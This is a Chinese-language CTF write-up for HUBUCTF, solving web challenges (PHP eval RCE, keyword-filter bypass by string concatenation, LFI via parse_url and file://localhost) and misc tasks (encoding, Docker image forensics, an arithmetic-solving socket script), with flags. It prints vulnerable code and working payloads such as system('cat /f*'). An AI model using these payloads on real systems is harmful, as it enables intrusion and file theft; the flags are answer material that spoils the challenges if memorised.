ez_eval

1
2
3
4
5
6
7
8
9
 <?php
highlight_file(__FILE__);
error_reporting(0);

$hubu = $_GET['hubu'];

eval($hubu);

?>

先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做

payload:

1
?hubu=system('cat /f*');      #直接rce

rce_level1

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

代码审计,发现过滤了关键字flag,system,php。

使用拼接绕过构造payload:

1
2
?c=('sys'.'tem')(ls);    #发现目录下没有flag文件
?c=('sys'.'tem')(cat /f*); #发现回显空白

不在文件夹里,那可能是在phpinfo里

payload:

1
?c=phpinfo();

没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。

经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\

最后的payload:

1
?c=('ph'.'pinfo')();

在页面中找到flag。

ez_LFI

考点:伪协议

image-20241124161059701

先随便传一个,/?url=111

image-20241124161148073

代码审计,根据网上查询的parse_url()函数的资料显示:

解析 URL,返回其组成部分,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)

所以必须在传入的url参数中让[host]是localhost。

然后再用file协议读取flag。

payload:

1
/?url=file://localhost/flag

HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}

Misc

Cute Rabbit

考点:rabbit编码

1
VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=

签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是

base64 -> rabbit

HUBUCTF{S0_<u73_R4b6it}

Docker Forensic

考点:docker的使用

根据题目提示,先拉取镜像

1
docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic

image-20241124162645328

将镜像压缩到本地

image-20241124164537663

将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压

在tmp中找到password

image-20241124165519193

退级,在解压后的一个文件夹里找到flag.txt

image-20241124165719701

使用了加盐算法,密钥就是上面的password,进行解密

image-20241124171222266

HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}

SpeedMath

考点:nc连接,python脚本

先用nc连接

image-20241124171410644

发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import socket
import re

def solve_arithmetic_expression(expression):
"""
解析并计算算术表达式的结果。
这里假设表达式只包含整数和基本的加减乘除运算。
"""
try:
# 使用eval计算表达式的结果,但注意eval的安全性问题
# 在实际应用中,应该使用更安全的解析方法
result = eval(expression)
return result
except Exception as e:
print(f"Error evaluating expression '{expression}': {e}")
return None

def nc_connection(host, port):
"""
使用Netcat连接到服务器,并自动解答算术题。
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

while True:
# 读取服务器发送的数据
data = s.recv(1024).decode('utf-8').strip()

if not data:
# 如果没有接收到数据,可能是连接已经关闭
break

print(f"Received: {data}")

# 使用正则表达式匹配算术题目
match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data)
if match:
num1 = int(match.group(1))
operator = match.group(2)
num2 = int(match.group(3))

# 构造算术表达式
expression = f"{num1} {operator} {num2}"

# 计算正确答案
correct_answer = solve_arithmetic_expression(expression)

if correct_answer is not None:
# 将答案发送回服务器(假设服务器期望的是整数答案)
s.sendall(f"{correct_answer}\n".encode('utf-8'))
else:
# 如果无法计算表达式,则退出循环
print("Failed to solve expression.")
break
else:
# 如果不是算术题目,可能是其他信息或结束信息
# 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息
print("Received non-arithmetic message, possibly final message.")
print(f"Final message: {data}")
break

# 使用示例
nc_connection('challenge.hubuctf.cn', 32478) # 替换为你的服务器主机名和端口号

HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}